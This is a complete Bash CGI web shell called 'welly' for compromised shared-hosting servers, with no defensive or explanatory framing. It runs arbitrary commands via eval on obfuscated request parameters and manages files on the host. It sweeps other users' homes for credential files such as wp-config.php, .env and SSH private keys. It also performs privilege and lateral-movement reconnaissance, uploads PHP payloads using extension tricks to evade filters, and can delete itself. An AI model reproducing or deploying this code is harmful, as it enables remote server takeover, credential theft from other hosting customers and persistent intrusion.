#!/bin/bash -i
set +H

if [ -n "$x" ]; then
    decoded=$(printf '%s' "$x" | tr '_-' '/+' | base64 -d 2>/dev/null)
    [ -n "$decoded" ] && QUERY_STRING="$decoded"
fi

cgi_get_POST_vars() {
    [ "${CONTENT_TYPE}" != "application/x-www-form-urlencoded" ] && echo "Warning" 1>&2
    [ -z "$QUERY_STRING_POST" -a "$REQUEST_METHOD" = "POST" -a ! -z "$CONTENT_LENGTH" ] && read -n "$CONTENT_LENGTH" QUERY_STRING_POST 2>/dev/null
}
cgi_decodevar() {
    [ $# -ne 1 ] && return
    local v t h
    t="${1//+/ }%%"
    while [ ${#t} -gt 0 -a "${t}" != "%" ]; do
	v="${v}${t%%\%*}"
	t="${t#*%}"
	if [ ${#t} -gt 0 -a "${t}" != "%" ]; then
	    h=${t:0:2}; t="${t:2}"
	    v="${v}"`echo -e \\\\x${h}`
	fi
    done
    printf '%s' "$v" | tr -d '\r\n\t'
}
cgi_getvars() {
    [ $# -lt 2 ] && return
    local q p k v s
    case $1 in
	GET)  [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&" ;;
	POST) cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&" ;;
	BOTH) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&" ;;
    esac
    shift; s=" $* "
    while [ ! -z "$q" ]; do
	p="${q%%&*}"; k="${p%%=*}"; v="${p#*=}"; q="${q#$p&*}"
	[ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && printf -v "$k" '%s' "$(cgi_decodevar "$v")"
    done
}
cgi_getvars BOTH ALL

clean() { printf '%s' "$1" | tr -d '\r\n\t' | sed 's/^[[:space:]]*//; s/[[:space:]]*$//'; }
h() { sed 's/&/\&amp;/g; s/</\&lt;/g; s/>/\&gt;/g'; }
uenc() { printf '%s' "$1" | od -An -tx1 | tr -d ' \n' | sed 's/../%&/g'; }
rand() { head -c 4 /dev/urandom 2>/dev/null | od -An -tx1 | tr -d ' \n' || printf '%04x' $RANDOM; }
nowdate() { printf '%(%Y%m%d)T' -1 2>/dev/null || echo "20261017"; }

SELF_DIR="$(cd "$(dirname "${BASH_SOURCE[0]:-$0}")" 2>/dev/null && pwd)"
[ -z "$SELF_DIR" ] && SELF_DIR="$(pwd)"
HOME_DIR="${HOME:-/tmp}"
DEF_UPLOAD_DIR="$SELF_DIR/uploads_$(nowdate)"

try_write() {
    local p="$1"
    cat > "$p" 2>/dev/null && return 0
    command -v tee >/dev/null 2>&1 && tee "$p" >/dev/null 2>&1 && return 0
    command -v php >/dev/null 2>&1 && php -r 'file_put_contents($argv[1], file_get_contents("php://stdin"));' "$p" 2>/dev/null && return 0
    return 1
}

try_chmod() {
    local p="$1" m="$2"
    chmod "$m" "$p" 2>/dev/null && return 0
    /bin/chmod "$m" "$p" 2>/dev/null && return 0
    command -v php >/dev/null 2>&1 && php -r 'chmod($argv[1], octdec($argv[2]));' "$p" "$m" 2>/dev/null && return 0
    command -v perl >/dev/null 2>&1 && perl -e 'chmod oct($ARGV[1]), $ARGV[0] or exit 1;' "$p" "$m" 2>/dev/null && return 0
    return 1
}

try_delete() {
    local p="$1"
    [ -e "$p" ] || [ -L "$p" ] || return 1
    rm -rf "$p" 2>/dev/null && return 0
    /bin/rm -rf "$p" 2>/dev/null && return 0
    command -v php >/dev/null 2>&1 && php -r '@unlink($argv[1]);' "$p" 2>/dev/null && [ ! -e "$p" ] && return 0
    return 1
}

try_rename() {
    local a="$1" b="$2"
    mv "$a" "$b" 2>/dev/null && return 0
    /bin/mv "$a" "$b" 2>/dev/null && return 0
    command -v php >/dev/null 2>&1 && php -r '@rename($argv[1],$argv[2]) or exit(1);' "$a" "$b" 2>/dev/null && return 0
    return 1
}

try_copy() {
    local a="$1" b="$2"
    cp -a "$a" "$b" 2>/dev/null && return 0
    /bin/cp -a "$a" "$b" 2>/dev/null && return 0
    command -v php >/dev/null 2>&1 && php -r '@copy($argv[1],$argv[2]) or exit(1);' "$a" "$b" 2>/dev/null && return 0
    return 1
}

smart_symlink() {
    local target="$1" link="$2"
    local parent=$(dirname "$link")
    [ ! -d "$parent" ] && mkdir -p "$parent" 2>/dev/null
    [ -e "$link" ] || [ -L "$link" ] && rm -f "$link" 2>/dev/null
    ln -s "$target" "$link" 2>/dev/null && return 0
    ln "$target" "$link" 2>/dev/null && return 0
    [ -e "/proc/self/root$target" ] && ln -s "/proc/self/root$target" "$link" 2>/dev/null && return 0
    [ -r "$target" ] && cp -a "$target" "$link" 2>/dev/null && return 0
    command -v php >/dev/null 2>&1 && php -r '@symlink($argv[1],$argv[2]);' "$target" "$link" 2>/dev/null && return 0
    return 1
}

enc_name() {
    local n="$1"
    local h=$(printf '%s' "$n" | od -An -tx1 | tr -d ' \n')
    local b=$(printf '%s' "$h" | base64 | tr -d '\n')
    local r=$(printf '%s' "$b" | rev)
    local final=$(printf '%s' "$r" | tr 'A-Za-z' 'N-ZA-Mn-za-m')
    echo "e_${final}"
}

smart_sweep() {
    local root="${1:-$HOME_DIR/sym}"
    mkdir -p "$root" 2>/dev/null
    local total=0 readable=0 failed=0
    local users=$(cat /etc/passwd 2>/dev/null | grep /home | cut -d: -f1)
    [ -z "$users" ] && users=$(ls /home 2>/dev/null)
    for u in $users; do
        [ "$u" = "nagios" ] && continue
        local udir="$root/$u"
        mkdir -p "$udir" 2>/dev/null
        smart_symlink "/home/$u" "$udir/_home" >/dev/null && total=$((total+1))
        smart_symlink "/home/$u/public_html" "$udir/www" >/dev/null && total=$((total+1))
        for f in .env public_html/.env public_html/wp-config.php public_html/configuration.php public_html/config.php \
                 public_html/conf_global.php public_html/include/db.php public_html/includes/config.php \
                 public_html/admin/config.php public_html/blog/wp-config.php \
                 .ssh/id_rsa .ssh/id_ed25519 .my.cnf .bash_history public_html/.htaccess; do
            local src="/home/$u/$f"
            [ -e "$src" ] || continue
            local safe=$(echo "$f" | sed 's|/|_|g; s|^\.||')
            if smart_symlink "$src" "$udir/$safe" >/dev/null 2>&1; then
                total=$((total+1))
                local tf=$(readlink -f "$src" 2>/dev/null || echo "$src")
                [ -r "$tf" ] && readable=$((readable+1))
            else
                failed=$((failed+1))
            fi
        done
    done
    echo "$root|$total|$readable|$failed"
}

echo -e "Content-type: text/html\n\n"

cat <<'HTML_HEAD'
<!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>welly</title>
<style>
:root{--bg:#08090d;--bg2:#0c0f15;--pan:#101520;--pan2:#161d2a;--b:#1e2735;--b2:#2a3646;--t:#e8eef7;--t2:#7d8ea8;--acc:#4d9eff;--ok:#3ecf8e;--err:#ef5b5b;--warn:#e6b800;--purple:#a855f7}
*{box-sizing:border-box;margin:0;padding:0}
body{background:var(--bg);color:var(--t);font:13px/1.55 -apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;min-height:100vh;background-image:radial-gradient(ellipse at top,rgba(77,158,255,.05),transparent 60%)}
.wrap{max-width:1400px;margin:0 auto;padding:1.4em 2em}
header{display:flex;align-items:center;gap:2em;padding:1em 0;border-bottom:1px solid var(--b);margin-bottom:1.6em;flex-wrap:wrap}
.logo{font-size:1.25em;font-weight:800;letter-spacing:-.03em;background:linear-gradient(135deg,var(--acc),var(--purple));-webkit-background-clip:text;-webkit-text-fill-color:transparent;background-clip:text}
.meta{color:var(--t2);font-size:12px;display:flex;gap:.6em;flex-wrap:wrap}
.pill{background:var(--pan);padding:.35em .8em;border-radius:99px;border:1px solid var(--b);display:inline-flex;align-items:center;gap:.4em}
.pill strong{color:var(--t);font-weight:600}
.pill .dot{width:6px;height:6px;border-radius:50%;background:var(--ok);box-shadow:0 0 8px var(--ok)}
nav.tabs{display:flex;gap:.15em;margin-bottom:1.4em;border-bottom:1px solid var(--b);flex-wrap:wrap}
nav.tabs a{padding:.7em 1.2em;color:var(--t2);text-decoration:none;border-radius:8px 8px 0 0;font-size:12.5px;font-weight:600;border-bottom:2px solid transparent;margin-bottom:-1px}
nav.tabs a:hover{color:var(--t);background:var(--pan)}
nav.tabs a.active{color:var(--acc);border-bottom-color:var(--acc);background:var(--pan)}
.card{background:var(--pan);border:1px solid var(--b);border-radius:12px;padding:1.3em 1.5em;margin-bottom:1em;box-shadow:0 1px 3px rgba(0,0,0,.3)}
.card h2{font-size:12px;font-weight:700;color:var(--t2);text-transform:uppercase;letter-spacing:.1em;margin-bottom:1.1em;display:flex;align-items:center;gap:.6em}
.card h2::before{content:"";width:3px;height:14px;background:var(--acc);border-radius:2px}
.grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(360px,1fr));gap:1em}
form.row{display:flex;gap:.6em;flex-wrap:wrap;align-items:center;margin-bottom:.7em}
input,textarea,select,button{font:inherit;background:var(--bg2);color:var(--t);border:1px solid var(--b2);padding:.65em .9em;border-radius:7px;outline:none}
input:focus,textarea:focus,select:focus{border-color:var(--acc);box-shadow:0 0 0 3px rgba(77,158,255,.1)}
textarea{width:100%;min-height:130px;resize:vertical;font-family:ui-monospace,monospace;font-size:12px}
button{background:var(--acc);color:#fff;border:none;cursor:pointer;font-weight:600;padding:.65em 1.3em}
button:hover{background:#3d8ee8}
button.ghost{background:var(--pan2);color:var(--t);border:1px solid var(--b2)}
button.danger{background:var(--err)}
pre{background:var(--bg2);border:1px solid var(--b);padding:1.1em 1.3em;border-radius:8px;overflow:auto;max-height:65vh;white-space:pre-wrap;word-break:break-word;font-family:ui-monospace,monospace;font-size:12px;line-height:1.6;margin-top:.7em;color:#c8d3e2}
a{color:var(--acc);text-decoration:none}
a:hover{text-decoration:underline}
.tag{display:inline-block;padding:.25em .7em;border-radius:5px;font-size:11px;font-weight:600}
.tag.ok{background:rgba(62,207,142,.12);color:var(--ok);border:1px solid rgba(62,207,142,.2)}
.tag.err{background:rgba(239,91,91,.12);color:var(--err);border:1px solid rgba(239,91,91,.2)}
.tag.warn{background:rgba(230,184,0,.12);color:var(--warn);border:1px solid rgba(230,184,0,.2)}
.tag.info{background:rgba(77,158,255,.12);color:var(--acc);border:1px solid rgba(77,158,255,.2)}
table{width:100%;border-collapse:collapse;font-size:12.5px;margin-top:.7em}
th,td{text-align:left;padding:.65em .9em;border-bottom:1px solid var(--b)}
th{color:var(--t2);font-weight:600;font-size:11px;text-transform:uppercase;letter-spacing:.08em;background:var(--bg2)}
tr:hover td{background:var(--pan2)}
.crumb{background:var(--bg2);border:1px solid var(--b);border-radius:8px;padding:.8em 1.1em;margin-bottom:1em;font-family:ui-monospace,monospace;font-size:12px;display:flex;flex-wrap:wrap;gap:.3em;align-items:center}
.crumb a{color:var(--acc)}
.crumb .sep{color:var(--t2);margin:0 .2em}
.kv{display:grid;grid-template-columns:140px 1fr;gap:.5em 1em;font-size:13px}
.kv dt{color:var(--t2)}
.kv dd{font-family:ui-monospace,monospace;font-size:12px;word-break:break-all}
.btn-bar{display:flex;gap:.5em;flex-wrap:wrap;margin-bottom:1em}
.btn-bar a{padding:.5em 1em;background:var(--pan2);color:var(--t);border:1px solid var(--b2);border-radius:7px;font-size:12px;font-weight:600;text-decoration:none}
.btn-bar a:hover{background:var(--b2);color:var(--acc);border-color:var(--acc)}
</style></head><body><div class="wrap">
HTML_HEAD

breadcrumb() {
    local path="$1"
    local parts=()
    IFS='/' read -ra parts <<< "$path"
    local acc=""
    for p in "${parts[@]}"; do
        [ -z "$p" ] && continue
        acc="$acc/$p"
        echo -n "<a href=\"?a=ls&d=$(uenc "$acc")\">$p</a><span class=\"sep\">/</span>"
    done
}

echo '<header>'
echo '<span class="logo">welly</span>'
echo "<div class=\"meta\">"
echo "<span class=\"pill\"><span class=\"dot\"></span><strong>$(whoami)</strong>@$(hostname)</span>"
echo "<span class=\"pill\">uid <strong>$(id -u)</strong></span>"
echo "<span class=\"pill\">cwd <strong>$(pwd | sed 's|/home/[^/]*|~|')</strong></span>"
echo "</div>"
echo '</header>'

active="${a:-home}"
case "$a" in
    run|ls|read|write|chmod|delete|rename|rename_do|copy|copy_do|mkdir|mkdir_do|newfile|newfile_do) active="tools" ;;
    sym|sweep) active="sym" ;;
    upload|upload_do) active="upload" ;;
    recon|lateral|users|domains) active="recon" ;;
    *) active="home" ;;
esac

echo '<nav class="tabs">'
echo "<a href=\"?a=home\" class=\"$([ "$active" = "home" ] && echo active)\">system</a>"
echo "<a href=\"?a=ls\" class=\"$([ "$active" = "tools" ] && echo active)\">tools</a>"
echo "<a href=\"?a=sym\" class=\"$([ "$active" = "sym" ] && echo active)\">sym sweep</a>"
echo "<a href=\"?a=upload\" class=\"$([ "$active" = "upload" ] && echo active)\">upload center</a>"
echo "<a href=\"?a=recon\" class=\"$([ "$active" = "recon" ] && echo active)\">recon</a>"
echo '</nav>'

case "$a" in
""|home)
echo '<div class="grid">'
echo '<div class="card"><h2>system</h2><dl class="kv">'
echo "<dt>user</dt><dd><strong>$(whoami)</strong></dd>"
echo "<dt>uid</dt><dd>$(id -u)</dd>"
echo "<dt>gid</dt><dd>$(id -g)</dd>"
echo "<dt>host</dt><dd>$(hostname)</dd>"
echo "<dt>os</dt><dd>$(uname -s) $(uname -r)</dd>"
echo "<dt>cwd</dt><dd>$(pwd)</dd>"
echo "<dt>selfdir</dt><dd>$SELF_DIR</dd>"
echo "<dt>shell</dt><dd>$SHELL</dd>"
echo "<dt>php</dt><dd>$(php -v 2>/dev/null | head -1 | cut -d' ' -f2)</dd>"
echo "<dt>id</dt><dd>$(id)</dd>"
echo '</dl></div>'
echo '<div class="card"><h2>resources</h2><dl class="kv">'
echo "<dt>uptime</dt><dd>$(uptime 2>/dev/null | head -1 | cut -d',' -f1)</dd>"
echo "<dt>disk</dt><dd>$(df -h / 2>/dev/null | tail -1 | awk '{print $3" / "$2" ("$5")"}')</dd>"
echo "<dt>memory</dt><dd>$(free -m 2>/dev/null | sed -n 2p | awk '{print $3" / "$2" MB"}')</dd>"
echo "<dt>load</dt><dd>$(cat /proc/loadavg 2>/dev/null | cut -d' ' -f1-3)</dd>"
echo "<dt>kernel</dt><dd>$(uname -r)</dd>"
echo "<dt>interp</dt><dd>"
for c in bash python3 perl php nc curl wget gcc socat; do command -v $c >/dev/null 2>&1 && echo "<span class=\"tag info\">$c</span> "; done
echo "</dd>"
echo '</dl></div>'
echo '</div>'
echo '<div class="card"><h2>quick run</h2>'
echo '<form method="get" class="row"><input type="hidden" name="a" value="run"><input name="c" placeholder="id; uname -a; whoami" autofocus style="flex:1"><button>run</button></form>'
echo '<form method="get" class="row"><input type="hidden" name="a" value="ls"><input name="d" value="'"$(pwd)"'" placeholder="dir" style="flex:1"><button class="ghost">ls</button></form>'
echo '</div>'
;;

run)
c_clean=$(clean "$c")
echo '<div class="card"><h2>output</h2><pre>'
eval "$c_clean" 2>&1 | h
echo '</pre></div>'
;;

ls)
d=$(clean "${d:-$(pwd)}")
echo '<div class="card">'
echo '<div class="crumb">📁 <a href="?a=ls&d=$(uenc "$(dirname "$d")")">↑</a> / '
breadcrumb "$d"
echo '</div>'
echo '<div class="btn-bar">'
echo "<a href=\"?a=ls&d=$(uenc "$d")\">🔄 refresh</a>"
echo "<a href=\"?a=mkdir&p2=$(uenc "$d")\">📁 new folder</a>"
echo "<a href=\"?a=newfile&p2=$(uenc "$d")\">📄 new file</a>"
echo "<a href=\"?a=upload&dir=$(uenc "$d")\">📤 upload here</a>"
echo '</div>'
echo '<h2>ls · '"$(echo "$d" | h)"'</h2>'
echo '<table><tr><th>type</th><th>mode</th><th>owner</th><th>size</th><th>name</th><th>actions</th></tr>'
ls -la "$d/" 2>/dev/null | tail -n +2 | while read -r line; do
    perm=$(echo "$line" | awk '{print $1}')
    owner=$(echo "$line" | awk '{print $3}')
    size=$(echo "$line" | awk '{print $5}')
    name=$(echo "$line" | awk '{for(i=9;i<=NF;i++)printf "%s%s",$i,(i<NF?" ":"")}')
    [ "$name" = "." ] || [ "$name" = ".." ] && continue
    type="${perm:0:1}"
    tclass=""; [ "$type" = "d" ] && tclass="info"; [ "$type" = "l" ] && tclass="warn"
    fpath="$d/$name"
    enc=$(uenc "$fpath")
    acts="<a href=\"?a=read&p2=$enc\">👁</a> <a href=\"?a=rename&p2=$enc\">✏</a> <a href=\"?a=copy&p2=$enc\">📋</a> <a href=\"?a=delete&p2=$enc\" onclick=\"return confirm('delete?')\">🗑</a>"
    if [ "$type" = "d" ]; then
        namecell="📁 <a href=\"?a=ls&d=$enc\">$name</a>"
    elif [ "$type" = "l" ]; then
        target=$(readlink "$fpath" 2>/dev/null)
        namecell="🔗 <a href=\"?a=ls&d=$enc\">$name</a> → <code>$target</code>"
    else
        namecell="📄 <a href=\"?a=read&p2=$enc\">$name</a>"
    fi
    echo "<tr><td><span class=\"tag $tclass\">$type</span></td><td><code>$perm</code></td><td>$owner</td><td>$size</td><td>$namecell</td><td>$acts</td></tr>"
done
echo '</table>'
echo '</div>'
;;

read)
p2=$(clean "$p2")
echo '<div class="card"><h2>read · '"$(echo "$p2" | h)"'</h2><pre>'
cat "$p2" 2>&1 | head -300 | h
echo '</pre></div>'
;;

write)
p2=$(clean "$p2")
echo '<div class="card"><h2>write result</h2><pre>'
if printf '%s' "$content" | try_write "$p2"; then
    echo "OK wrote $(wc -c < "$p2" 2>/dev/null) bytes to $p2"
else
    echo "FAIL write $p2"
fi
echo '</pre></div>'
;;

chmod)
p2=$(clean "$p2"); m=$(clean "$m")
echo '<div class="card"><h2>chmod result</h2><pre>'
if try_chmod "$p2" "$m"; then echo "OK: $(stat -c %a "$p2" 2>/dev/null)"; else echo "FAIL"; fi
echo '</pre></div>'
;;

delete)
p2=$(clean "$p2")
echo '<div class="card"><h2>delete result</h2><pre>'
if try_delete "$p2"; then echo "OK deleted $p2"; else echo "FAIL delete $p2"; fi
echo '</pre></div>'
;;

rename)
p2=$(clean "$p2")
echo '<div class="card"><h2>rename</h2>'
echo '<p class="hint">source: <code>'"$(echo "$p2" | h)"'</code></p>'
echo '<form method="get"><input type="hidden" name="a" value="rename_do"><input type="hidden" name="p2" value="'"$(echo "$p2" | h)"'"><div class="row"><input name="p3" placeholder="new path" style="flex:1" autofocus><button>rename</button></div></form>'
echo '</div>'
;;

rename_do)
p2=$(clean "$p2"); p3=$(clean "$p3")
echo '<div class="card"><h2>rename result</h2><pre>'
if try_rename "$p2" "$p3"; then echo "OK $p2 -> $p3"; else echo "FAIL"; fi
echo '</pre></div>'
;;

copy)
p2=$(clean "$p2")
echo '<div class="card"><h2>copy</h2>'
echo '<p class="hint">source: <code>'"$(echo "$p2" | h)"'</code></p>'
echo '<form method="get"><input type="hidden" name="a" value="copy_do"><input type="hidden" name="p2" value="'"$(echo "$p2" | h)"'"><div class="row"><input name="p3" placeholder="destination path" style="flex:1" autofocus><button>copy</button></div></form>'
echo '</div>'
;;

copy_do)
p2=$(clean "$p2"); p3=$(clean "$p3")
echo '<div class="card"><h2>copy result</h2><pre>'
if try_copy "$p2" "$p3"; then echo "OK $p2 -> $p3"; else echo "FAIL"; fi
echo '</pre></div>'
;;

mkdir)
p2=$(clean "$p2")
echo '<div class="card"><h2>mkdir · new folder</h2>'
echo '<p class="hint">parent: <code>'"$(echo "$p2" | h)"'</code></p>'
echo '<form method="get"><input type="hidden" name="a" value="mkdir_do"><input type="hidden" name="parent" value="'"$(echo "$p2" | h)"'"><div class="row"><input name="name" placeholder="folder name" style="flex:1" autofocus><input name="m" value="0755" placeholder="mode" style="width:6em"><button>create</button></div></form>'
echo '</div>'
;;

mkdir_do)
name=$(clean "$name")
parent=$(clean "$parent")
m=$(clean "${m:-0755}")
echo '<div class="card"><h2>mkdir result</h2><pre>'
if [ -z "$name" ]; then
    echo "FAIL no name"
else
    p="${parent%/}/$name"
    echo "target: $p"
    if [ -d "$p" ]; then
        echo "exists: $p"
    elif mkdir -p "$p" 2>/dev/null && [ -d "$p" ]; then
        echo "OK mkdir $p"
        [ -n "$m" ] && { try_chmod "$p" "$m" && echo "chmod $m OK"; }
    elif mkdir -p "$(dirname "$p")" 2>/dev/null && mkdir "$p" 2>/dev/null && [ -d "$p" ]; then
        echo "OK mkdir2 $p"
    elif command -v php >/dev/null 2>&1 && php -r '@mkdir($argv[1],0755,true);' "$p" 2>/dev/null && [ -d "$p" ]; then
        echo "OK php $p"
    else
        err=$(mkdir -p "$p" 2>&1)
        echo "FAIL: $err"
    fi
fi
echo '</pre>'
echo "<a href=\"?a=ls&d=$(uenc "${parent%/}")\">open parent</a>"
echo '</div>'
;;

newfile)
p2=$(clean "$p2")
echo '<div class="card"><h2>new file</h2>'
echo '<p class="hint">dir: <code>'"$(echo "$p2" | h)"'</code></p>'
echo '<form method="get"><input type="hidden" name="a" value="newfile_do"><input type="hidden" name="p2" value="'"$(echo "$p2" | h)"'"><div class="row"><input name="name" placeholder="filename (e.g. shell.php)" style="flex:1" autofocus><input name="m" value="0644" placeholder="mode" style="width:6em"></div><textarea name="content" placeholder="contents (optional)"></textarea><div class="row"><button>create</button></div></form>'
echo '</div>'
;;

newfile_do)
name=$(clean "$name")
p2=$(clean "$p2")
m=$(clean "${m:-0644}")
echo '<div class="card"><h2>newfile result</h2><pre>'
if [ -z "$name" ]; then
    echo "FAIL no name"
else
    path="${p2%/}/$name"
    echo "target: $path"
    if printf '%s' "$content" | try_write "$path"; then
        echo "OK wrote $(wc -c < "$path" 2>/dev/null) bytes"
        [ -n "$m" ] && { try_chmod "$path" "$m" && echo "chmod $m OK"; }
    else
        echo "FAIL write"
    fi
fi
echo '</pre>'
echo "<a href=\"?a=ls&d=$(uenc "${p2%/}")\">open dir</a>"
echo '</div>'
;;

sym)
echo '<div class="card"><h2>sym sweep</h2>'
root=$(clean "${dir:-$HOME_DIR/sym}")
result=$(smart_sweep "$root")
echo "<p class=\"hint\">root: <code>$root</code></p>"
echo '<pre>'
echo "root: $(echo "$result" | cut -d'|' -f1)"
echo "total: $(echo "$result" | cut -d'|' -f2)"
echo "readable: $(echo "$result" | cut -d'|' -f3)"
echo "failed: $(echo "$result" | cut -d'|' -f4)"
echo '</pre>'
echo "<a href=\"?a=ls&d=$(uenc "$root")\">open $root</a>"
echo '</div>'
;;

env)
p2=$(clean "$p2")
echo '<div class="card"><h2>env</h2><pre>'
if [ -n "$p2" ]; then cat "$p2" 2>&1; else
  for f in .env ../.env "$SELF_DIR/.env" "$HOME_DIR/public_html/.env"; do
    [ -r "$f" ] && { echo "=== $f ==="; cat "$f"; echo; }
  done
fi
echo '</pre></div>'
;;

upload)
dir_real=$(clean "${dir:-$DEF_UPLOAD_DIR}")
while [ "${dir_real%/}" != "$dir_real" ]; do dir_real="${dir_real%/}"; done
echo '<div class="card"><h2>upload center</h2>'
echo "<p class=\"hint\">target dir: <code>$dir_real</code></p>"
if [ -d "$dir_real" ]; then
    mkdir_result="exists"
elif mkdir -p "$dir_real" 2>/dev/null && [ -d "$dir_real" ]; then
    mkdir_result="mkdir"
elif mkdir -p "$(dirname "$dir_real")" 2>/dev/null && mkdir "$dir_real" 2>/dev/null && [ -d "$dir_real" ]; then
    mkdir_result="mkdir2"
elif command -v php >/dev/null 2>&1 && php -r '@mkdir($argv[1],0755,true);' "$dir_real" 2>/dev/null && [ -d "$dir_real" ]; then
    mkdir_result="php"
else
    mkdir_result="FAIL"
fi
if [ "$mkdir_result" = "FAIL" ]; then
    echo "<p><span class=\"tag err\">mkdir failed</span> — try a different dir</p>"
    echo '<form method="get"><input type="hidden" name="a" value="upload"><div class="row"><input name="dir" placeholder="different dir" style="flex:1"><button>try</button></div></form>'
else
    echo "<p><span class=\"tag ok\">dir ready</span> ($mkdir_result)</p>"
    echo '<form method="post" action="?a=upload_do">'
    echo '<input type="hidden" name="dir_real" value="'"$(echo "$dir_real" | h)"'">'
    echo '<div class="row"><input name="name" placeholder="filename" value="shell.php" style="flex:1"><input name="exts" value="php,phtml,phar,pht,php5,php7" style="flex:1"><input name="chm" value="0755" placeholder="chmod" style="width:6em"><select name="enc"><option value="0">plain</option><option value="1">encrypt</option></select></div>'
    echo '<textarea name="b64" placeholder="base64 payload — e.g. PD9waHAgZWNobyAiaGVsbG8iOyA/Pg=="></textarea>'
    echo '<div class="row"><button>upload</button></div>'
    echo '</form>'
fi
echo '</div>'
;;

upload_do)
d=$(clean "$dir_real")
[ -z "$d" ] && d="$DEF_UPLOAD_DIR"
while [ "${d%/}" != "$d" ]; do d="${d%/}"; done
echo '<div class="card"><h2>upload result</h2><pre>'
if [ ! -d "$d" ]; then
    mkdir -p "$d" 2>/dev/null
    if [ ! -d "$d" ]; then
        echo "FAIL: dir $d not writable/missing"
        echo '</pre></div>'
        exit
    fi
fi
echo "dir: $d"
name=$(clean "${name:-u_$(date +%s)}")
exts=$(clean "${exts:-php,phtml,phar,pht,php5,php7}")
chm=$(clean "${chm:-0644}")
if [ -z "$b64" ]; then
    echo "FAIL no b64 data — paste base64 in the textarea"
else
    cands=""
    if [ "${enc:-0}" = "1" ]; then cands="$cands $(enc_name "$name")"; fi
    stem="${name%.*}"
    for e in $(echo "$exts" | tr ',' ' '); do cands="$cands ${stem}.${e#.}"; done
    [ -n "${name##*.}" ] && cands="$cands ${name}.$(rand)"
    cands="$cands $name u_$(rand).$(rand)"
    ok=0
    for c in $cands; do
        [ -z "$c" ] && continue
        path="$d/$c"
        [ -e "$path" ] && path="$d/${c%.*}_$(rand).${c##*.}"
        if printf '%s' "$b64" | base64 -d 2>/dev/null | try_write "$path"; then
            echo "OK $path size=$(stat -c %s "$path" 2>/dev/null) mode=$c"
            [ "$chm" != "none" ] && { try_chmod "$path" "$chm" && echo "  chmod $chm OK"; }
            ok=1; break
        fi
    done
    [ $ok -eq 0 ] && echo "FAIL all name strategies"
fi
echo '</pre>'
echo "<a href=\"?a=ls&d=$(uenc "$d")\">open dir</a>"
echo '</div>'
;;

recon)
echo '<div class="grid">'
echo '<div class="card"><h2>sudo -l</h2><pre>'; sudo -n -l 2>&1 | head -15 | h; echo '</pre></div>'
echo '<div class="card"><h2>setuid</h2><pre>'; find / -perm -4000 -type f -maxdepth 4 2>/dev/null | head -20 | h; echo '</pre></div>'
echo '<div class="card"><h2>kernel</h2><pre>'; uname -a | h; echo '</pre></div>'
echo '<div class="card"><h2>cron</h2><pre>'; crontab -l 2>&1 | head -10 | h; echo '</pre></div>'
echo '</div>'
;;

lateral)
echo '<div class="grid">'
echo '<div class="card"><h2>/etc readable</h2><pre>'
for f in /etc/passwd /etc/group /etc/hosts /etc/resolv.conf /etc/my.cnf /etc/ssh/sshd_config; do [ -r "$f" ] && echo "readable: $f"; done
echo '</pre></div>'
echo '<div class="card"><h2>/home/* readable</h2><pre>'
for u in $(ls /home 2>/dev/null); do [ -r "/home/$u/public_html/index.php" ] && echo "YES /home/$u"; done
echo '</pre></div>'
echo '<div class="card"><h2>ssh keys</h2><pre>'
for k in .ssh/id_rsa .ssh/id_ed25519 .ssh/authorized_keys; do [ -r "$HOME_DIR/$k" ] && { echo "--- $k ---"; head -3 "$HOME_DIR/$k"; }; done
echo '</pre></div>'
echo '</div>'
;;

users)
echo '<div class="card"><h2>cpanel users</h2><table><tr><th>user</th><th>uid</th><th>gid</th><th>home</th><th>shell</th></tr>'
cat /etc/passwd 2>/dev/null | grep /home | cut -d: -f1,3,4,6,7 | while IFS=: read -r u id g hm sh; do
  echo "<tr><td><strong>$u</strong></td><td>$id</td><td>$g</td><td>$hm</td><td>$sh</td></tr>"
done
echo '</table></div>'
;;

domains)
echo '<div class="card"><h2>domains</h2><table><tr><th>domain</th><th>owner</th></tr>'
cat /etc/named.conf 2>/dev/null | grep '^zone' | grep -v '"."' | grep -v '127.in-addr' | cut -d'"' -f2 | while read -r d; do
  echo "<tr><td>$d</td><td>?</td></tr>"
done
for f in /var/cpanel/users/*; do [ -r "$f" ] || continue; grep -E '^DNS[0-9]*=' "$f" 2>/dev/null | cut -d= -f2 | while read -r d; do echo "<tr><td>$d</td><td>$(basename "$f")</td></tr>"; done; done
echo '</table></div>'
;;

self)
echo '<div class="card"><h2>self</h2><dl class="kv">'
echo "<dt>path</dt><dd>$0</dd>"
echo "<dt>selfdir</dt><dd>$SELF_DIR</dd>"
echo "<dt>size</dt><dd>$(wc -c < "$0" 2>/dev/null) bytes</dd>"
echo "<dt>perm</dt><dd>$(stat -c %a "$0" 2>/dev/null)</dd>"
echo "<dt>md5</dt><dd>$(md5sum "$0" 2>/dev/null | cut -d' ' -f1)</dd>"
echo '</dl></div>'
;;

del)
echo '<div class="card"><h2>delete</h2><pre>'
rm -f "$0" 2>/dev/null && echo "deleted" || echo "FAIL"
echo '</pre></div>'
;;

*) echo '<div class="card"><h2>unknown</h2><pre>unknown: '"$(echo "$a" | h)"'</pre></div>' ;;
esac

if [ -n "$a" ]; then
    echo '<div style="margin-top:1.5em"><a href="?a=home">← back to home</a></div>'
    echo '</div></body></html>'
    exit
fi

echo '<div class="card"><h2>quick run</h2>'
echo '<form method="get" class="row"><input type="hidden" name="a" value="run"><input name="c" placeholder="id; uname -a; whoami" autofocus style="flex:1"><button>run</button></form>'
echo '<form method="get" class="row"><input type="hidden" name="a" value="ls"><input name="d" value="'"$(pwd)"'" placeholder="dir" style="flex:1"><button class="ghost">ls</button></form>'
echo '</div>'

echo '<div class="grid">'
echo '<div class="card"><h2>read</h2><form method="get"><input type="hidden" name="a" value="read"><div class="row"><input name="p2" placeholder="/etc/passwd" style="flex:1"><button>read</button></div></form></div>'
